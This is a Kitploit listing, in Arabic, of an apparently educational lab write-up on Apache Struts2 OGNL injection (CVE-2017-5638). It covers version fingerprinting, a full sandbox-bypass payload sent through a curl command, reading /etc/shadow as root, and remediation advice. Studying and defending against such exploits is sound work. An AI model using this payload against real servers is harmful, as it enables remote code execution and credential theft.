Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-5638 — مختبر عملي يوضح حقن OGNL في Apache Struts2 (CVE-2017-5638) مع تحليل منهجي للنظام، واستغلال الثغرة، وتجاوز الصندوق الرملي، وتقنيات ما بعد الاستغلال لأغراض تعليم اختبار الاختراق. | Kitploit
أدوات/GitHubGitHub/dungsocool/cve-2017-5638
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

مختبر عملي يوضح حقن OGNL في Apache Struts2 (CVE-2017-5638) مع تحليل منهجي للنظام، واستغلال الثغرة، وتجاوز الصندوق الرملي، وتقنيات ما بعد الاستغلال لأغراض تعليم اختبار الاختراق.

عرض المستودع
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

المعمل 1 — حقن OGNL في Apache Struts2 (CVE-2017-5638 / S2-045)

أولاً: تحليل النظام

تحليل سطح الهجوم

image.png

بعد بدء الحاوية، تُظهر سجلات Struts2 أن التطبيق يقوم بتحميل ملفات التكوين المألوفة مثل struts-default.xml و struts-plugin.xml و struts.xml. وهذا يؤكد أن الإطار المستخدم هو Apache Struts2.

image.png

نقطة بارزة تكمن في السطر:

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

يشير هذا السطر إلى أن Struts2 يختار محلل Jakarta multipart (محلل بيانات الرفع المتعدد الأجزاء) لمعالجة الطلبات من نوع multipart/form-data، الذي يُستخدم عادةً في وظيفة رفع الملفات.

هذه إشارة حاسمة عند تحليل S2-045 / CVE-2017-5638، حيث أن هذه الثغرة مرتبطة بالعملية التي يعالج بها Struts2 الأخطاء عند تحليل طلبات multipart، خاصةً مع عنوان Content-Type غير صالح.

ومع ذلك، فإن هذا السجل يثبت فقط أن التطبيق يستخدم Struts2 ومعالج multipart من نوع Jakarta. لا يزال غير كافٍ لاستنتاج أن التطبيق معرض للخطر بالتأكيد. للتأكيد، نحتاج إلى تحديد إصدار struts2-core ومقارنته بنطاق الإصدارات المتأثرة.

image.png

image.png

image.png

عند الوصول إلى خدمة الويب باستخدام curl، تُظهر ترويسات الاستجابة أن التطبيق يعمل على Jetty 9.2.11.v20150529. هذه المعلومات تساعد في تحديد البيئة التي يعمل عليها التطبيق (حاوية servlet)، لكنها لا تكشف بشكل مباشر عن إصدار Struts2.

تقوم واجهة الويب بإرجاع صفحة Struts2 Showcase - Fileupload sample، مع نموذج رفع يستخدم:

method="POST" enctype="multipart/form-data" action="/upload.action"

يتوافق هذا مع السجل السابق حيث اختار Struts2 jakarta لـ MultiPartRequest: التطبيق بالفعل لديه تدفق معالجة رفع الملفات عبر multipart/form-data.

⇒ تفكير: نقطة النهاية /upload.action تستخدم multipart/form-data، مما يتطابق مع الآلية التي يعالج بها Struts2 الطلبات عبر Jakarta MultiPartRequest. هذه علامة تعزز الشك في S2-045/CVE-2017-5638، لكننا نحتاج إلى تحديد إصدار Struts2 قبل استنتاج أن التطبيق معرض للخطر. بعد ذلك، لا يزال التحقق الأعمق مطلوبًا فيما يتعلق بـ إصدار struts2-core وكيفية معالجة التطبيق للأخطاء عند استلام Content-Type غير صالح.

تحديد إصدار Struts2

بعد تحديد أن التطبيق لديه نقطة نهاية رفع باستخدام multipart/form-data، فإن الخطوة التحليلية التالية هي العثور على الإصدار الفعلي لـ Struts2. هذا أمر بالغ الأهمية لأن العلامات السابقة فقط أظهرت أن التطبيق لديه آلية متعلقة برفع multipart، وهو غير كافٍ بعد لاستنتاج أنه معرض للخطر.

image.png

بعد تحديد الحاوية الصحيحة التي تخدم نقطة النهاية 8001، يتم إجراء فحص المكتبات مباشرة داخل الحاوية project1-lab01-1.

النتيجة وجدت ملف struts2-core:

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

من هذا المسار، يمكننا تحديد أن التطبيق يستخدم Apache Struts2 2.3.30.

image.png

مقارنة هذا مع الثغرة المنشورة CVE-2017-5638 / S2-045، فهي تؤثر على العديد من إصدارات Struts2 القديمة، بما في ذلك فرع 2.3.x قبل التصحيح. عند دمجها مع:

Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data

تصبح سلسلة شروط التحليل أوضح:

root@kitploit:~
Struts2 Version 2.3.30 < Version 2.3.32 
 + Jakarta multipart parser + upload endpoint
→ The application is within the strong suspicion range of S2-045/CVE-2017-5638

ومع ذلك، من منظور تحليلي، الإصدار المعرض للخطر هو مجرد دليل على إمكانية التأثر. لتأكيد ذلك على المستوى السلوكي، نحتاج إلى إرسال طلب multipart شاذ ومراقبة الاستجابة/السجلات لمعرفة ما إذا كان يدخل في فرع معالجة الأخطاء لمحلل Struts2 multipart.

⇒ تفكير: عند هذه النقطة، لم يعد الأمر مجرد تحديد الإطار؛ الإصدار 2.3.30 يؤكد أن التطبيق يقع ضمن نطاق الإصدارات المتأثرة بـ S2-045/CVE-2017-5638. الخطوة المتبقية هي التحقق من سلوك معالجة أخطاء multipart لإكمال سلسلة الأدلة.

التحقق من تدفق معالجة multipart الصحيح

image.png

نحتاج إلى التحقق مما إذا كانت الطلبات المرسلة إلى /upload.action تمر فعلاً عبر آلية معالجة multipart الخاصة بـ Struts2. هنا، أستخدم أمر curl مع الخيار -F لاختبار آلية المعالجة. والنتيجة المُعادة مقسمة إلى أجزاء:

`

  • ContentType: text/plain
  • FileName: test.txt
  • File: /usr/src/target/tmp/upload_...
  • Caption:test
  • `

    ⇒ يثبت الطلب الصحيح أن /upload.action يمر بالفعل عبر آلية رفع multipart لأن curl -F يُنشئ multipart/form-data ويمكن للخادم تحليل كل جزء من الطلب.

    التحقق من رد الفعل عند فشل طلب multipart

    image.png

    image.png

    بعد إرسال طلب يُعلن Content-Type على أنه multipart/form-data ولكن مع جسم لا يتوافق مع بنية multipart، لا يزال الخادم يُعيد HTTP 200 OK. ومع ذلك، فإن حقول ContentType و FileName و File و Caption كلها فارغة. عند فحص سجلات Docker، نلاحظ عدم وجود boundary (سلسلة فاصل بين الأجزاء في multipart)، ولا يزال العميل يتلقى HTTP 200 OK. ولكن في الواقع، Struts2 واجه خطأ أثناء معالجة الطلب.

    يثبت هذا سلسلة الأدلة:

    root@kitploit:~
    Faulty multipart request
    → Struts2 wraps request
    → MultiPartRequestWrapper is called
    → JakartaMultiPartRequest parses request
    → FileUploadException due to missing boundary
    

    ⇒ يتطابق مع المكونات المتعلقة بـ S2-045/CVE-2017-5638. وبالتالي، تصبح سلسلة الشروط أكثر اكتمالًا: إصدار معرض للخطر، محلل Jakarta، نقطة نهاية رفع، والطلب الخاطئ يدخل في فرع معالجة multipart الصحيح.

    النقطة الحاسمة في S2-045/CVE-2017-5638 لا تكمن فقط في فشل محلل multipart. خطأ المحلل هو مجرد الشرط المسبب الأولي. الجزء الخطير يكمن في كيفية معالجة Struts2 لرسالة الخطأ لاحقًا. مع إصدارات Struts2 المتأثرة، عندما يواجه محلل multipart خطأ، يمكن تغذية محتوى الخطأ في آلية معالجة الرسائل الخاصة بـ Struts2. إذا كان المهاجم يتحكم في جزء من البيانات التي تظهر في الخطأ، خاصة من ترويسة Content-Type، يمكن تقييم تلك البيانات بواسطة Struts2 عبر OGNL (Object-Graph Navigation Language - لغة التعبير الخاصة بـ Struts/XWork).

    تفكير:

    root@kitploit:~
    Anomalous Content-Type
    → Jakarta multipart parser parsing error
    → Struts2 generates/logs error message
    → error message goes through expression evaluation mechanism
    → if malicious OGNL is present, it can lead to RCE
    

    ثانياً: الاستغلال

    تحديد أن الهدف يستخدم Struts2، وبما أن Struts2 يستخدم OGNL كمحرك تعبيرات، فإن البحث في PayloadsAllTheThings يُظهر أن حقن new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) في Struts2 سيفشل لأن Struts2 لديه صندوق حماية يمنع الوصول إلى java.lang.Runtime.

    image.png

    ⇒ تجميع الحمولة الموجودة في هيكل استغلال Struts2:

    تشغيل محلل Jakarta

    root@kitploit:~
    (#_="multipart/form-data")
    

    تجاوز صندوق حماية Struts2 (مطلوب)

    root@kitploit:~
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
    

    حمولة تنفيذ الأوامر

    root@kitploit:~
    (new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
    

    ومع ذلك، عند تنفيذ الحمولة عمليًا، نواجه مشكلتين:

    1. خطأ إصدار Java: خادم المعمل يعمل على Jetty 2015 (Java 8)، بينما الدالة readAllBytes() مدعومة فقط بدءًا من Java 9. إذا أصررنا على استخدامها، سيفشل OGNL بصمت ويعيد صفحة HTML فارغة. يتم حل هذا بالتحول إلى استخدام الفئة IOUtils من مكتبة org.apache.commons.io (متاحة دائمًا في Struts2) لقراءة التدفق.
    2. تصفية المخرجات: على الرغم من تنفيذ الأمر، فإن تضمين النتيجة مباشرة في تدفق HTML يمكن أن يكسر البنية أو يتم تصفيته. يتم حل هذا بالوصول المباشر إلى HttpServletResponse، واستخدام getWriter().println() لطباعة المخرجات أولاً، ثم استدعاء flush() و close() لإنهاء الاتصال فورًا. هذا يجبر الخادم على إعادة نتيجة تنفيذ الأمر النظيفة، متجاوزًا جميع واجهة HTML الزائدة.

    ⇒ إعادة تجميع التعديلات أعلاه، نحصل على أمر curl الكامل (باستخدام ProcessBuilder + IOUtils + Response Writer):

    root@kitploit:~
    curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
    -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
    -d "foo=bar"
    

    image.png

    الاستغلال ناجح!!!

    على الرغم من أننا حققنا RCE بصلاحيات الجذر، إلا أنه يجب إرسال كل أمر عبر طلب HTTP منفصل، مما يوفر بيئة غير تفاعلية. يسمح الصدى العكسي (Reverse Shell) بإنشاء جلسة مستمرة، والتفاعل المباشر مع النظام الهدف كما لو كنت جالسًا أمام الجهاز، مما يخدم جمع المعلومات والاستغلال اللاحق الأعمق.


    ثالثاً: ما بعد الاستغلال

    التحقق من الصلاحيات

    بعد الاستغلال الناجح، تحقق من الصلاحيات على النظام:

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    

    → التطبيق يعمل بصلاحيات الجذر — لا حاجة لتصعيد الصلاحيات.

    جمع البيانات الحساسة

    قراءة ملف /etc/shadow (الملف الذي يحتوي على تجزئات كلمات المرور، والذي لا يملك صلاحية الوصول إليه إلا الجذر):

    image.png

    → يثبت أن المهاجم لديه صلاحية قراءة/كتابة كاملة لملفات النظام، بما في ذلك أكثرها حساسية.

    ملاحظة حول الصدى العكسي

    كان إنشاء الصدى العكسي غير ناجح لأن حاوية Docker على Windows تستخدم شبكة داخلية (bridge/NAT)؛ لا يمكن للحاوية الاتصال مرة أخرى بجهاز المهاجم (Kali) على الشبكة المحلية. ومع ذلك، لا يؤثر هذا على خطورة الثغرة — فقد حقق المهاجم RCE بصلاحيات الجذر ويمكنه تنفيذ أي أمر على النظام.


    رابعاً: تقييم المخاطر والعلاج

    تقييم المخاطر

    تم تقييم ثغرة حقن OGNL (CVE-2017-5638 / S2-045) على هذا النظام بمستوى أعلى خطر:

    توصيات العلاج

    لعلاج هذه الثغرة بشكل كامل، يجب على فرق إدارة النظام والتطوير تنفيذ الإجراءات التالية (مرتبة حسب الأولوية):

    أولويات عاجلة (قصيرة المدى):

    1. ترقية Apache Struts2: تحديث الإطار فورًا إلى إصدار آمن (≥ 2.3.32 أو ≥ 2.5.10.1). هذا إجراء إلزامي لأن الثغرة تكمن في التنفيذ الأساسي لمكتبة JakartaMultiPartRequest.
    2. خفض صلاحيات التنفيذ: لا تقم أبدًا بتشغيل تطبيقات الويب (Jetty/Tomcat) تحت مستخدم root. يجب إنشاء مستخدم مخصص (مثل struts_user) بأقل الصلاحيات اللازمة لتشغيل التطبيق.

    أولويات عالية (طويلة المدى والدفاع المتعمق):

    1. نشر جدار حماية تطبيقات الويب (WAF): تكوين قواعد WAF لكشف وحظر طلبات HTTP التي تحتوي على حمولات OGNL (مثل %{...} و ${...} و ognl و java.lang.ProcessBuilder) في ترويسة Content-Type.
    2. تغيير محلل multipart: إذا لم يكن التطبيق مطالبًا باستخدام محلل Jakarta، ففكر في التحول إلى مكتبة بديلة مثل Pell أو COS في ملف التكوين struts.xml (struts.multipart.parser=cos).
    3. تقييد شبكة الحاوية: لا تبقِ الحاوية على شبكة bridge مشتركة إلا إذا كان ضروريًا. قم بتكوين قواعد جدار الحماية لمنع الحاوية من بدء اتصالات صادرة (Outbound traffic) إلى الإنترنت لمنع الصدى العكسي.
    تنزيل الأداة
    المعيارالتقييمالتفاصيل
    نقاط CVSS10.0 (حرجة)أقصى درجة مطلقة.
    المصادقةغير مطلوبةلا يحتاج المهاجم إلى حساب أو تسجيل الدخول لاستغلال هذه الثغرة.
    التعقيدمنخفض جدًايتطلب فقط إرسال طلب HTTP واحد (POST) يحتوي على الحمولة في ترويسة Content-Type.
    الصلاحيات المكتسبةrootتحكم كامل في التطبيق/الحاوية بأعلى مستوى صلاحية، مع القدرة على قراءة/كتابة أي ملف (مثل /etc/shadow).
    الحركة الجانبيةعاليةمن الحاوية المخترقة، يمكن للمهاجم فحص الشبكة الداخلية (LAN) ومهاجمة الحاويات الأخرى أو الخوادم المضيفة.